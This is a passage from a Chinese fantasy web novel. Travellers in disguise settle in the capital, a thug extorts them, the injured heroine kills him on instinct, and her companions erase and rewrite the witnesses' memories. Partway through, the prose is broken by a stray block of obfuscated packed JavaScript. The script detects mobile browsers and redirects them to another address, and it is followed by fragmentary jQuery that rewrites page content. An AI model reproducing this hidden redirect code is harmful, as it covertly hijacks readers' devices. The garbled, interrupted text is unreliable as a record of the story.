这个道理她懂。天都耳目众多,玄影监的探子可能就在码头上盯着每一艘靠岸的船,玄心监的线人可能就混在搬运工里。一点破绽,都可能招来灭顶之灾。
不多时,清音已经将行李收拾妥当——其实也没多少东西,一些衣物,一些必要的药物,都被清音收回了芥子袋中。
一夜之间,江倾川似乎已经将那些情绪重新收敛了起来。脸上又恢复了那种温和而疏离的表情,像是戴上了一张精心打磨的面具。只有眼底深处,偶尔会闪过一丝极难察觉的痛楚与锐利。
“都准备好了?”他走进房间来问。
“好了。”林疏星点头,“船马上要靠稳,船工们忙着卸货,金鳞说半个时辰后可以下船。”
江倾川走到桌边,示意林疏星和清音坐下。
“有些话,在下船前要说清楚。”他声音很低,确保只有屋内四人能听见,“天都不同于别处。这里的规矩,是吃人的规矩。玄影监的暗探遍布街巷,玄心监的线人可能就在你隔壁喝茶,玄策监的眼睛盯着每一个新入城的面孔。”
他顿了顿,目光扫过三人。
“所以,从踏出这个舱门开始,你们就是林青、林竹兄妹,行商。我是蛟人乐师敖清澜,与你们在江阳结识,同路来天都寻些演出机会。清音是婢女。记住这个关系,不要在任何场合露出破绽。”
“明白,适才我以与她二人交代过了。”林疏星说。
祝君竹也点头。清音用力抿了抿唇,眼眶有些红,但很快调整了情绪。
江倾川看向祝君竹,语气缓和了些:“你的伤,走路可还撑得住?”
“不妨事。”
“那就好。”他说,“下船后,金鳞建议我们先去西市附近找个住处。他说那里鱼龙混杂,三教九流汇聚,大多都是外来的生意人,不容易引人注目。”
“西市……”林疏星沉吟,“我倒是对那边有些了解。有几条老街,虽然破旧,但住户多是些行商、江湖卖艺之流,往来离去之人众多,生面孔不会太扎眼。”
“如此甚好。”江倾川点头,又从袖中取出几份文书,分别递给三人。
“这是金鳞帮忙弄的身份文书。”他说,“你们原来那份有些许破绽,但这个却是货真价实。林青、林竹,天极州人氏,三代皆是往来于龙族边境的商贾。我是东海来的乐师,这是路引和乐籍证明。”
祝君竹接过那份属于“林竹”的文书。纸张已经做旧,边缘微微泛黄,上面的字迹工整,盖着官府的印鉴。她不得不佩服江倾川的周密——这些文书,显然不是一夜之间能准备好的。他早就开始做了准备。但她不知若无昨夜的相认,他会不会把这些东西拿出来?
“敖兄费心了。”林疏星收起文书,郑重道。
“为了苟活罢了。”江倾川平静的说,嘴角扬起一抹自嘲。
林疏星看在眼中,却感到了那份淡然下藏着沉甸甸的分量。
舱外传来船工的吆喝声,缆绳被抛上岸的闷响,还有码头渐渐喧闹起来的人声。新的一天开始了,而对他们来说,新的战场,也拉开了帷幕。
下船的过程比预想的顺利。
金鳞在码头上有相熟的货栈,派了两个人来帮忙搬行李,又帮称病的祝君竹雇了顶轿子,亲自送他们过了港口的巡检,想是江倾川也与他打了招呼。巡检的兵丁只是简单翻了翻文书,问了几句“从哪来”“来做什么”,见对答如流,便挥挥手放行了。
但祝君竹能感觉到,在那些兵丁身后,不知何处还有几道目光在暗中打量。
那些目光隐蔽,像是无意间扫过,停留的时间不会超过一息。但她的感知经过玉京山的修炼,已经敏锐了许多。她能分辨出那些目光的区别——有的带着例行公事的漠然,有的带着审视和评估,还有的……带着一种冰冷的、猎食者般的专注。
穿过港口区,便进入了外城的范围。
天都的外城比祝君竹想象中要大得多。街道纵横交错,房屋鳞次栉比,青石板路被无数脚步磨得光滑。清晨的雾气尚未散尽,空气中飘着炊烟、早点摊的香气,还有牲口粪便和垃圾堆混合的复杂气味。
人流如织。
挑着担子的小贩吆喝着穿行,马车牛车吱呀呀地碾过石板,穿官服的吏员匆匆走过,穿着各色服饰的行商、江湖客、普通百姓,构成了一幅杂乱而充满生机的画卷。
但在这份生机之下,藏着某种紧绷的东西。
祝君竹注意到,每隔两条街,就会有一个穿着玄色制服的人站在街角,目光平静地扫视着过往行人。那些人的制服胸前绣着暗纹。
“九阙天门府的人。”
江倾川的步伐缓了下来,与轿窗保持着平齐,他的声音不高,恰好能让轿内的祝君竹听清,语气里带着一种走过大风浪后的平淡。
“外城十二坊,每坊都有固定岗哨。人分五色,路有九流,这外城与港口是个打探消息的好地方。”
他的目光像拂过水面的风,轻而广地扫过喧闹的景象,“那些真正张着耳朵的,不会把自己写成一张告示。”
祝君竹闻言,从轿窗内将视线投向外面。码头送货的力夫青筋暴露,汗流浃背。小贩吆喝声嘶力竭,眼神紧盯着钱囊。旅人神色匆匆,目光寻着出路……这些都寻常。
“留意那些‘闲人’。”江倾川的声音再次传来,如同引导他拨开迷雾,“脚步不赶,眼神不空,身上没有刚卸完货的酸汗气,也没有等活干的焦虑。”
祝君竹心神一凛,依言细察。果然,在几个早点摊子附近,或倚着货箱,或慢吞吞吃着东西的几条汉子,渐渐显出不同。他们衣着是最普通的褐灰短打,与脚夫无异,毫无标识,但细看下,那份“闲”却透着劲——背脊不松垮,吃着东西,腮帮在动,眼角的余光却像细密的筛子,稳稳地滤着经过的每一张脸、每一句飘来的零碎对话。其中一人,搁在粗糙桌沿的手,指节有茧,却非力夫那种鼓胀的蛮茧,而是匀称的硬。他咽下食物时,喉结滚动,脖颈的线条短暂地绷紧一瞬,那是种下意识的戒备。
“他们吃的是饭,咽下去的是来往货船的数目,是生面孔的口音,是脚夫抱怨的工钱,是客商焦躁的低语。”江倾川的声音近乎耳语,却字字清晰,“你看他们收彼此间隔数丈,站位却偶然能相互瞥见,自成一张疏而不漏的网。这是三监的外围网,人养在这里,吸饱了市井烟火气,吐出来的,就是天都腕下最真实的脉搏。”
祝君竹的目光再掠过那几个汉子,先前模糊的印象骤然清晰。他们的普通之下,那份过于刻意的自然,那无所事事却又无处不在的观察姿态,此刻昭然若揭。果然如江倾川所言,这些人看似融于市井,实则是织进市井里的一根根暗线。
轿子微微颠簸着继续前行,将港口鼎沸的人声慢慢抛在身后。祝君竹收回视线,轿帘落下,掩去了外间的光影,也掩住了他眼中深了几分的凝重。这初入天都的第一课,无声无息,却已足够惊心。
“这才刚进外城。”清音小声嘀咕,声音里透着紧张,“怎么感觉……到处都是眼睛,以前在王府的时候怎么不觉得。”
“习惯便好。”林疏星平静的说,“在天都,每个人都是棋子,每个人也都是棋手。关键看你有没有本事跳出棋盘。”
江倾川笑了笑,低声说道:“林兄说的不错,能否活着离开天都,就看我们的手段了。你们去前面那个“玉茗斋”用些早餐,喝些茶。我去牙行找个庄宅牙人,先寻个住处,办妥了来寻你们。”
众人依言点头,江倾川又叮嘱了祝君竹几句,便自行去了。
三人将轿子落在“玉茗斋”门口,那小二哥见来了客人,快步迎出来,将三人接进去,林疏星将祝君竹背起,上了二楼的雅阁。
三人坐在窗边,饮了些茶,用了些茶点。望着窗外的天都外城,竟有了一时半刻闲娱。那两名轿夫也在楼下的大堂吃了些馃子,吃罢便等着他们闲聊。
江倾川回来已是巳时三刻,三人简单询问了几句,继续向西市走。
他们沿着主街走了约莫两刻钟,拐进了一条相对狭窄的巷道。
这里的建筑明显老旧了许多,墙面斑驳,有些地方长着青苔。巷子里堆着杂物,晾衣绳横七竖八地拉在空中,挂着各式各样的衣物。几个孩童在巷口追逐打闹,见到生人进来,好奇地张望了几眼,又继续玩耍了。
“这里叫柿子巷。” 江倾川边走边介绍,“因为巷口有棵老柿子树。住户多是些做小本生意的、手艺人,有不少租客。人员杂,流动性大,适合暂住。”
他在一扇黑漆木门前停下。
门有些年头了,漆皮剥落了不少,门环是铜制的,已经生了绿锈。门上贴着褪色的春联,纸边卷起,字迹模糊得看不清了。
江倾川从怀中取出钥匙,打开门锁。
推门进去,是个不大的院子。
院子约莫两丈见方,青石板铺地,缝隙里长着杂草。正面是三间正房,东西各有两间厢房。房子是砖木结构,瓦片有些破损,窗纸也破了几处。但整体还算完整,打扫打扫应该能住人。
“就这里了。” 江倾川环顾四周,“正房中间那间做厅堂,两边是卧房。东厢房可以做饭,西厢房堆放杂物。院子有水井,用水方便。”
林疏星也打量了一番,点头:“位置不错。巷子深,不临主街,闹中取静。邻居看起来也都是寻常人家,不会过多关注。”
“租金呢?”祝君竹问。
“一月五灵石。” 江倾川说,“付三押一,我给了二十。房东是个老妪,住在隔壁巷子,说是儿子在军中任职,自己靠收租过日子,人也倒爽快。”
他顿了顿,补充道:“文书上写的是林青、林竹兄妹租住,敖兄是借住的朋友。这样即便有人查,也说得通。”
分工很快确定下来。
江倾川要出去一趟,说是“探访故友,寻个乐师的营生。”但祝君竹猜,他大约是想去联络些眼线,获取些情报和可供使用的资源。
林疏星说也要出去,要去“置办些日常用度,锅碗瓢盆、米面粮油等。”
祝君竹注意到,他在说这话时,手指无意识地捻了捻袖口——那是他思考时的小动作。他出去,恐怕也不只是买东西那么简单。
清音留下照顾祝君竹,顺便打扫屋子、煎药。
“你那伤需要静养。”林疏星临走前对祝君竹说,“这些日子你便好生休养,别多想。万事有我们。”
他说得很温和,但祝君竹听出了那份不容置疑的意味——他在以决策者的身份下命令。若是以前这样或许会让她有些不悦,但此刻,她确实感到疲惫。记忆的冲撞、伤口的疼痛、初入天都的紧张,都消耗着她所剩不多的精力。
“知道了。”她难得顺从地应下。
林疏星看了她一眼,似乎有些意外,但没说什么,转身出了门。
江倾川也告辞离开。院子里只剩下祝君竹和清音。
清音很快忙碌起来。她先打了井水,把正房的两间卧房仔细擦洗了一遍,铺上带来的被褥。又去灶下生火,开始煎药。药味很快弥漫开来,带着苦香。
祝君竹坐在厅堂的椅子上,看着清音忙碌的背影。
阳光从破了的窗纸透进来,在青石板上投下斑驳的光影。尘埃在光柱中飞舞,像是无数细小的生命。院子里的那口老井,井沿被绳索磨出了深深的凹痕,诉说着岁月的流逝。
她忽然想起江倾川说的那些话。
“……父王坚信月儿还活着,我们兄妹终有相聚之日。江家的血脉,不能就此断绝。”
所以他才活了下来。所以他才忍受了化蛟的非人痛苦,在黑暗中蛰伏了这么多年。
而她呢?
她又是为什么活下来的?为什么从江浅月变成了祝君竹?为什么去了另一个世界,又带着两大妖君的妖力回来?
这些问题像一团乱麻,缠绕在她的脑海里。每一次试图理清,都会引发剧烈的头痛,像是有什么在阻止她探寻真相。
“小姐,药好了。”
清音端着药碗进来,小心翼翼地放在桌上。碗里是深褐色的药汁,热气袅袅升起。
祝君竹回过神,端起药碗。药很苦,但她眉头都没皱一下,一饮而尽。苦涩从舌尖蔓延到喉咙,再沉入胃里,带来一种温热的、安定的感觉。
“清音。”她放下碗,忽然问,“你还记得……我小时候,是什么样子吗?”
清音愣了一下,随即眼睛亮了起来:“当然记得!小姐小时候可乖了,就是有点……嗯,有点倔。王爷教你练枪,你明明累得手臂都在抖,还咬着牙说‘不妨事,再来’。王爷都说,你这性子,不像王妃,倒像他。”
她说着,眼眶又有些红了,但努力笑着:“小姐还特别喜欢梨花。王府后院有棵老梨树,开花的时候,小姐能坐在树下看一整天。世子就陪着你,有时候吹笛,有时候给你念诗……”
她的声音很轻,像是怕惊扰了什么珍贵的记忆。
祝君竹安静地听着。
那些画面,随着清音的讲述,一点点在她脑海中浮现。不是完整的场景,而是碎片——梨花的洁白,笛声的悠扬,少年温和的侧脸,还有那种被守护着的、安心的感觉。
那是江浅月的人生。
而她,祝君竹,一个来自另一个世界的灵魂,为什么会与这些记忆产生共鸣?为什么会为这些陌生又熟悉的画面感到心痛?
“清音。”她又问,声音有些涩,“你觉得……我是江浅月吗?”
清音毫不犹豫地点头:“你就是小姐。虽然样子变了,虽然记忆还不全,但你的神魂不会变,你忘了我们的神魂之契了?那个可是不会错的。最近这些日子,你说话的语气,你看人的眼神,你做事的方式……都和那个小姐越来越像。”
祝君竹看着她,眼中那一丝不安再一次浮了起来。
清音顿了顿,声音低了下去:“我知道小姐在担心什么。担心记忆全回来了,现在的‘祝君竹’就不见了。但我觉得……不会的。因为你和她本就是一个人,小姐就是小姐,不管叫什么名字,不管记得什么不记得什么,骨子里还是那个人。”
祝君竹看着她的单纯的双眸,良久,轻轻叹了口气。
“希望如此。”
这个世界如此真实,真实得让她有时会恍惚——那个叫地球的世界,那些网络、数据、论文,会不会只是一场漫长的梦?
但芥子袋里那身破破烂烂的西装提醒她那一切都不是梦,那是她确实在那个世界生活过最好证明。腹部的伤口兀自在隐隐作痛,在这里的现实让她觉得,庄生晓梦原来不单是一个故事。
但她其实很清楚,她回来了。回到了这个她本该属于、却又无比陌生的世界。带着未解的谜团,带着两大妖力,带着一个需要她融合的过去。
也带着……终于不再孤单的现在。
午后的巷子里渐渐热闹起来。
小贩的吆喝声、孩童的嬉闹声、妇人唤孩子回家吃饭的喊声,混杂在一起,构成市井特有的嘈杂。阳光斜斜地照进院子,在地上拉出长长的影子。
祝君竹在榻上小憩。
药力发挥了作用,伤口的疼痛缓解了许多,但记忆的冲撞仍在继续。她睡得不安稳,意识在半梦半醒间浮沉。那些碎片化的画面像走马灯一样轮转——有时候是江浅月在王府练枪,有时候是祝君竹在电脑前写着无尽的代码,有时候两者交织,分不清彼此。
清音在外间整理食材,准备安排午餐。她是个闲不住的性子,已经把屋里能擦的地方都擦了一遍,准备吃过饭后补那些破了的窗纸。
就在这时,院门被敲响了。
敲门声很重,带着蛮横呼喝声。
清音皱了皱眉,放下手中的菜叶,走到院门前:“谁呀?”
“开门!”外面是个低沉粗犷的男声,“巷子里的新住户是吧?有些事要跟你们说道说道。”
清音回头看了眼正房,祝君竹似乎还在睡。她犹豫了一下,还是打开了门。
门外站着四五个人。
为首的是个三十来岁的汉子,膀大腰圆,满脸横肉,穿着一身松垮的绸衫,腰间挂着个玉佩,手里盘着两个核桃。他身后跟着几个跟班模样的年轻人,有的歪戴着帽子,有的叼着草根,都是一副市井地痞的模样。
“哟,小娘子长得挺标致。真白……嘿嘿!”那汉子看见清音,眼睛一亮,目光在她脸上身上来回扫了几遍,嘿嘿笑了两声,“怎么,家里就你一个人?”
清音心里一紧,但脸上却没露怯:“你们是谁?有什么事?”
“我姓李,街坊都叫我螃蟹李。”汉子挺了挺胸脯,“这片巷子,归我照应。你们新搬来,有些规矩得跟你们说说。”
他说话时,身后的几个跟班已经挤进了院子,东张西望,像是打量自己的地盘。
清音挡住他们往正房去的路,语气冷了下来:“什么规矩?”
“第一,”螃蟹李竖起一根手指,“安家费。新住户,得交三灵石,算是拜码头。第二,月例钱。每月一灵石,我保你们在这巷子里平平安安,没人敢来找麻烦。第三——”
他顿了顿,目光又往清音身上瞟了瞟:“我看你们这院子挺宽敞,我手底下几个兄弟正好没地方住。西厢房腾出来,让他们住下,也算互相有个照应。”
这话已经说得够直白了。
清音气笑了。
她跟着祝君竹这一路,什么场面没见过?玄影监的追杀,妖族的袭击,真灵教的邪徒……眼前这几个地痞流氓,在她眼里就跟跳梁小丑一样。
“李爷是吧?”清音抱着胳膊,斜眼看着他,“您这‘规矩’,是官府定的,还是您自己定的?”
螃蟹李脸色一沉:“小娘子,话可别这么说。我螃蟹李在这片混了十几年,街坊邻居谁不知道我的名号?我定的规矩,就是这巷子的规矩。”
“哦?”清音挑眉,“那您这‘螃蟹’的名号,是因为您横着走吗?”
这话一出,螃蟹李身后的几个跟班都变了脸色。其中一个瘦高个,外号“麻杆儿”的,指着清音骂道:“小娘皮,怎么跟李爷说话呢!”
螃蟹李倒是没立刻发火,反而笑了,笑得有些阴冷:“小娘子牙尖嘴利,有意思。不过在这天都,光会耍嘴皮子可活不长。我劝你,乖乖把钱交了,再把西厢房腾出来,咱们以后还能和和气气的。要不然……”
他往前迈了一步,逼近清音:“要不然,我可不能保证,你这细皮嫩肉的,会不会哪天出门就磕着碰着,或者家里突然走水什么的。”
这是赤裸裸的威胁了。
清音脸上的笑容彻底消失。
她看着螃蟹李,看着这个仗着几分蛮力就在市井里作威作福的泼皮,心里涌起一股厌恶。眼前这个螃蟹李,就像臭水沟里的一只虫子,丑陋,但本质上渺小。
可就是这种渺小的恶,往往最缠人,也最容易坏事。
“李爷。”清音的声音很平静,平静得有些异常,“您知道我们是什么人吗?”
螃蟹李嗤笑:“什么人?不就是外地来的行商吗?我见多了。带着点本钱想来天都发财,结果灰头土脸滚回去的,多了去了。”
“那我们要是……不是普通行商呢?”清音慢慢说,“我们要是有那么点背景,有那么点靠山呢?”
她说这话时,目光有意无意地扫过螃蟹李腰间那块玉佩——成色一般,雕工粗糙,明显是地摊货。又扫过他身上那件绸衫——料子薄,做工差,袖口已经起了毛边。
这是个装腔作势的纸老虎。
螃蟹李被她看得有些不自在,但嘴上还硬:“背景?靠山?哈!在这柿子巷,我螃蟹李就是最大的背景!我告诉你,今天这钱,你交也得交,不交也得交!不然——”
他话没说完,身后一个跟班已经不耐烦了,抡起手里的木棍就往院里的一口旧陶缸砸去。
哐当一声,陶缸碎裂。
这像是一个信号。
其他几个跟班也动了,有的踢翻了院角的扫帚簸箕,有的拿起石头就要砸窗户。
清音脸色一变。
她不怕这些人,以她的修为,对付玄影监对付妖族杀手兴许差些,但收拾几个地痞却绰绰有余。
正在她准备拿出短刺的瞬间,正房的门开了。
祝君竹站在门口。
她显然是被吵醒的,脸色苍白,头发有些散乱,眼睛半睁着,眼神空洞而迷茫。她身上只穿着单薄的中衣,腹部的绷带隐约可见。
“小姐!”清音惊呼一声,想冲过去。
但已经晚了。
螃蟹李看见祝君竹,眼睛又是一亮——这个虽然病弱,但容貌气质明显更胜一筹。他嘿嘿笑着,朝祝君竹走去:“哟,还有个更标致的。怎么,病了?来来来,让李爷看看……”
他的手伸向祝君竹的脸。
就在那一瞬间。
祝君竹的眼睛猛地睁大。
不是清醒,而是一种本能被触发的、野兽般的锐利。她的瞳孔深处,有银色的光一闪而过。
然后,银色的枪影在她手中凝聚。
不是缓慢的、有意识的过程,而是一种近乎条件反射的爆发。银鳞月芒枪从虚空中浮现,枪身流淌着月华般的光泽,枪尖一点寒芒,冷得能冻住人的血液。
螃蟹李的笑容僵在脸上。
他还没反应过来发生了什么,那杆枪已经动了。
快。
快得超越了视觉的极限。
银光一闪,枪尖已经没入了他的胸膛。没有华丽的招式,没有复杂的技巧,只有最纯粹、最直接的——刺。
枪尖从后背透出,带出一蓬血花。
螃蟹李低头,看着自己胸口那个窟窿,又抬头看着祝君竹。他张了张嘴,想说什么,但涌出来的只有血沫。他的眼睛瞪得极大,里面充满了难以置信的惊恐。
然后,他倒了下去。
砰的一声,像一袋沉甸甸的粮食砸在地上。
院子里死一般寂静。
那几个跟班全都僵住了,手里的棍棒石头掉在地上都浑然不觉。麻杆儿嘴巴张得能塞进一个鸡蛋,腿肚子开始发抖。
祝君竹持枪站在原地,枪尖还在滴血。
她的眼神依旧空洞,像是还没完全清醒。但她的身体保持着战斗的姿态,脊背挺直,手腕稳定,枪身斜指地面,枪尖微微上挑——那是江浅月最习惯的起手式。
清音第一个反应过来。
“小姐!”她冲过去,想扶住祝君竹。
但就在她靠近的瞬间,祝君竹的身体晃了晃,银鳞月芒枪化作光点消散。她眼睛一闭,直直向后倒去。
清音接住了她,发现她又昏迷了过去,呼吸微弱,额头渗出冷汗。
而这时,那几个跟班才如梦初醒。
“杀、杀人了……”
“李爷死了……”
“跑!快跑!”
他们转身就想往外冲。
但院门不知何时已经关上了。更诡异的是,他们跑到门前,却怎么也拉不开门栓——明明只是简单的木栓,却像是焊死了一样。
“怎么回事?!”
“鬼打墙了?!”
就在他们惊恐失措时,清影一闪,林疏星已然站在了门口。
他手里提着几个油纸包,像是刚买完东西回来。脸上没什么表情,只是目光扫过院子——碎裂的陶缸,倒地的尸体,惊慌的地痞,还有被清音扶着的、昏迷不醒的祝君竹。
“都别动。”他声音不高,但带着一种不容置疑的威压。
那几个地痞像是被施了定身术,僵在原地,一动不敢动。
林疏星走到祝君竹身边,蹲下身探了探她的脉搏,又看了看她的脸色。
“力竭昏迷。”他得出结论,然后看向清音,“怎么回事?”
清音快速把事情说了一遍。林疏星听完,沉默了片刻。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001268|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他站起身,走到螃蟹李的尸体旁,低头看了看伤口。伤口很干净,一枪毙命,枪法精准得可怕。这不是祝君竹现在的水平能做到的——除非,是江浅月的本能。
他抬头,看向那几个瑟瑟发抖的地痞。
“你们,是跟他一伙的?”他语气仍然平静。
地痞们拼命摇头,又点头,语无伦次。
“李、李爷带我们来的……我们就是混口饭吃……”
“我们什么都没干!真的!”
“饶命啊大爷!饶命!”
林疏星没理会他们的求饶,他略微抬手,院子里的空气似乎微微扭曲了一下。
那几个地痞忽然面露笑容,一个个的都躺在地上,眼神空洞的望着天空。
“迷踪幻阵。”林疏星对清音解释,“我出门前布的,以院子四角和院门为节点。是我用来防万一的,没想到用的如此快,先让他们在幻阵里呆着。”
清音松了口气:“多亏公子有准备。”
林疏星摇摇头,眉头却皱了起来。
他看着地上螃蟹李的尸体,又看看那几个地痞,脸色渐渐凝重。
“有些棘手。”
江倾川是在半个时辰后回来的。
他一进院子,就闻到了血腥味。再看到地上的尸体和昏睡的地痞,脸色瞬间沉了下来。
“怎么回事?”他问,声音很冷。
林疏星把事情又简述了一遍。这一次,他重点强调了祝君竹是在昏迷状态下本能出手,银鳞月芒枪现身,一枪毙敌。
听到“银鳞月芒枪”五个字,江倾川的眼神骤然锐利。
他走到尸体旁,蹲下身,仔细查看伤口。良久,他站起身,脸色已经难看到了极点。
“银鳞枪仙朝上下认得的人不少。”他缓缓说。
他看向那几个昏睡的地痞:“这些人,必须处理掉。”
“处理”两个字,他说得很轻,但那份杀意,让清音忍不住打了个寒颤。
林疏星摇头:“不妥。”
“有何不妥?”江倾川转身看他,眼神凌厉,“他们看到了银鳞枪,看到了月儿出手。只要其中有一个人把消息漏出去,我们就全完了。你想让她再死一次吗?”
“我不想。”林疏星平静地说,“但杀这些人,解决不了根本问题,反而可能带来更大的麻烦。这些人在这怕是都有些家眷的,死了一个恶霸还可说是意外,这些地痞全死了,很难不会被查到。”
江倾川道:“那又如何?月儿是事情如果传出去,岂不是查的更快?”
林疏星摇头,直起身,面对江倾川。
“第一,这些人虽然跟着螃蟹李作恶,但罪不至死。按仙朝律,勒索未遂、毁坏财物,最多杖责、罚没,或者充军流放。岂可乱用私刑?”
“第二,现在这螃蟹李已死,在天都这仙帝脚下,命案必查,怕是届时天都玄牧府都会介入。一人身亡尚且能编造出合理的解释,这么多人若都死了,怕是难以有令人信服的解释。”
“第三,”林疏星顿了顿,声音压低了些,“我们现在最需要的,是低调,是隐藏。杀人灭口,动静太大,容易引来不必要的注意。反而可能暴露得更快。”
江倾川沉默了片刻。
他知道林疏星说的有道理。但他也有他的坚持。
“你说的都对。”他说,“但你想过没有,如果放任这些人活着,只要其中有一个人,酒后失言,或者被玄心监的探子盯上,你也知道那搜混摄魄的手段,我们所有的计划,所有的努力,就全完了。”
他看向祝君竹的房间,眼神里闪过一丝痛楚。
“我等了这么多年,才等到她回来。我不能让她再冒任何风险。一丝一毫都不能。杀了这些人,至少月儿的身负不会泄露!”
这是他的底线。
林疏星理解这份底线。但他也有他的原则。
“敖兄,我明白你的心情。”他说,“但你想过没有,杀人,是最简单的解决办法,但往往不是最聪明的解决办法。在天都,在这个权力场里,有时候,让人活着,比让人死了更有用。”
江倾川眯起眼:“什么意思?”
“意思是,我们可以控制他们。”林疏星说,“让他们不敢说,不能说,甚至……为我们所用。”
“你想拿住他们的把柄,威胁他们?”江倾川问。
“不止是威胁。”林疏星说,“我要让他们知道,听我们的话,他们能活,还能活得比以前好。不听我们的话,不用我们动手,他们自己的债主、仇家,就能让他们生不如死。”
他顿了顿,补充道:“而且,这些人常年混迹市井,消息灵通。如果我们能控制他们,就等于多了几只眼睛、几对耳朵。在天都,这种底层的信息,有时候比高层的机密更有用。虽然,是险了些,但目前似乎也没有更稳妥的方式了。”
江倾川不得不承认,林疏星确实是一个治国之才。
“险了些?”他问,“何止?虽说三监的人一般不会注意到一个地痞流氓,但一旦泄露消息,赔上的就可能是月儿的命!你那些朝堂上的制衡之术,岂能以月儿的命作为筹码?”
林疏星被他一番抢白,说的竟一时语塞。
一直在旁听着,沉默着的清音却忽然开口。
“那个……我有个办法。”
两人同时看向她。
清音有些紧张,但还是鼓起勇气说:“我们罗嘉有一种秘法,叫‘五音织梦’。可以用音律影响人的心神,暂时篡改或者模糊一段记忆。不过……这秘法对施法者要求很高,必须修为远高于受法者才能成功。”
她看了看那几个地痞:“这几个人应是第一境,神魂很弱。我应该能做到,把他们的记忆……模糊掉,然后篡改。让他们以为自己与螃蟹李一起杀了人,而螃蟹李也与那人同归于尽。梦里我可以暗示他们赶紧携带家眷,逃离天都。至于银鳞枪的记忆,我可以抹掉。”
江倾川和林疏星对视一眼。
这倒是个折中的办法。
篡改记忆,比杀人温和,比单纯威胁可靠。
“有把握吗?”江倾川问。
清音点头:“九成把握,施法后,他们的记忆浑浑噩噩,像做了场梦。”
林疏星沉吟片刻,果决道:“那便如此。”
他看向江倾川:“清音修改他们的记忆,敖兄躺下扮个与螃蟹李同归于尽的死尸,我再对他们威胁一番,此事可成。”
江倾川这次没有反对。
他走到祝君竹房门口,往里看了一眼。祝君竹还在昏睡,脸色苍白,眉头微蹙,像是在做什么不好的梦。
他轻轻关上门,转身。
“那就开始吧。”
清音点头从袋中取出那把九霄白玉琴,那琴在她手中发出柔和的白光,她以指尖轻弹,发出几个极低的、近乎听不见的音符。
那几个音符在空中荡开涟漪,像水波一样扩散,笼罩住地上傻笑的几个地痞。
地痞们的身体微微抽搐,脸上的表情时而惊恐,时而茫然。持续了约莫一盏茶的时间,清音额头渗出细密的汗珠,才停下动作。
“好了。”她喘了口气,“我把他们关于小姐和银鳞枪的记忆都改变了。现在他们只记得,螃蟹李今天带他们来柿子巷收‘安家费’,却与一个飞身而入的蒙面人起了冲突,最终同归于尽了,他们都是帮凶。”
林疏星点头:“够了。敖兄,辛苦。”
江倾川闻言蒙了面,将那螃蟹李的血往自己身上抹了几把,躺在了一旁。
林疏星与清音低语了几句,一切准备停当,便挥手撤去了迷踪幻阵,那几个地痞们笑容消失,一个个眼神茫然的爬起,像是大梦初醒。他们看到地上螃蟹李与江倾川所扮的尸体,先是惊恐,然后记忆渐渐回笼——模糊的、碎片化的记忆。
“李爷……死了?”
“谁干的?”
“……好像就是那个蒙面人……他好像是咱们捅死的……杀人了?”
林疏星站在他们身后挡着门。
清音手持短刺,声音冰冷的说道:“公子,他们几个爬起来了,他们杀了人,要不要报官?”
林疏星道:“报不得,咱们的货里有玄影监的东西,岂能见得天光?这几人留不得。”
清音握紧了手中的短刺上前一步,又停下道:“公子,杀是容易,只是杀了有些麻烦,尸首太多不好处理。”
林疏星道:“嗯,说的有理。若是埋在院子里,这屋子住着也晦气!只是不杀他们,却又怕他们出去胡言乱语。玄影监的忌讳岂是咱们能犯的?”
“我们不说!绝对不说!”麻杆儿闻言第一个跪下磕头,“大爷饶命!我们什么都不知道!今天就是跟李爷出来转转,什么都没看见!”
其他人也纷纷跪倒,赌咒发誓。
林疏星冷冷道:“不说?你们这些败类如何信得?你们若是一时说了出去,那天都玄牧府的人必会来查螃蟹李被杀一事,那时怕是玄影监的货也难免不被牵扯出来,你们自然是难逃一死,却连累了我家几口也要赔上性命,不如我将你们杀了,还能保我家人平安。”
那麻杆儿唯恐人听见走露了风声,压着嗓子,带着哭腔道:“大爷,我们、我们岂会不知道玄影监的手段,今天之事绝不敢透露半句出去,我们想活命,岂敢乱说啊……大爷,饶命啊大爷。”
林疏星假做不为所动之态摇了摇头,“还是不稳妥,毕竟关乎我家人性命,万无一失才好。”
他的语气太平静了,平静得让人心里发毛。
地痞们知道,这不是开玩笑。眼前这个人,比螃蟹李可怕得多。螃蟹李只是耍横,这个人,是真的会杀人。
清音强忍笑意,仍捏着嗓子冷冷的道:“公子,杀了他们这么多尸首,你得与我一起处理才是。”
林疏星道:“放心,明天让玄影监的人来处理便了。”
清音又道:“玄影监的人来了,定恐消息泄露,这些人的家眷怕也是要斩草除根。可怜,几十条人命就这么交代了。”
麻杆儿闻言哭丧着脸,将个头砰砰的磕,压着嗓子道:“大爷,我将家住何处,籍贯何方,乃至家眷几人,各自姓名,都写于你。若是我们敢透露半句,你便去取了她们的性命。我们将全家几十口人性命压给你,可保万无一失啊大爷!……这样,我们几个今天就带着家眷离开天都回老家去,永世不再回来……还请大爷高抬贵手啊”
其他人也纷纷附和。
林疏星又假做思索片刻,这才勉强点点头:“好吧,若非不愿惊动玄影监,你们必死。记住你们说的话。我若听到任何关于今天的风声……后果自负。”
清音给他们了纸笔,众地痞纷纷将自家的人数、籍贯、姓名等写了个清楚明白。交由清音收了。
林疏星这才让开道路:“现在,滚。”
地痞们如蒙大赦,连滚爬爬地冲出院子,连螃蟹李的尸体都不敢管。
院子里重新安静下来。
江倾川从地上爬起来和林疏星对视一眼说道:“林公子好手段!”
林疏星摇摇头苦笑。
江倾川像是对付阿绒一般伸出手掌,掌中再次缓缓凝结出一块水晶。将那螃蟹李的尸首封入水晶,装入了芥子袋中。
林疏星看了道:“敖兄这才是好手段,龙族的“水晶牢”都被你学来了。”
二人相视一笑。
清音点起油灯,熬了粥。祝君竹还在睡,但呼吸已经平稳了许多。
三人坐在厅堂里,就着昏黄的灯光吃饭。谁都没有说话,气氛有些沉闷。
最后还是清音忍不住,小声说:“那个麻杆儿……我看他走的时候,眼神有点不对劲。”
林疏星放下筷子:“怎么不对劲?”
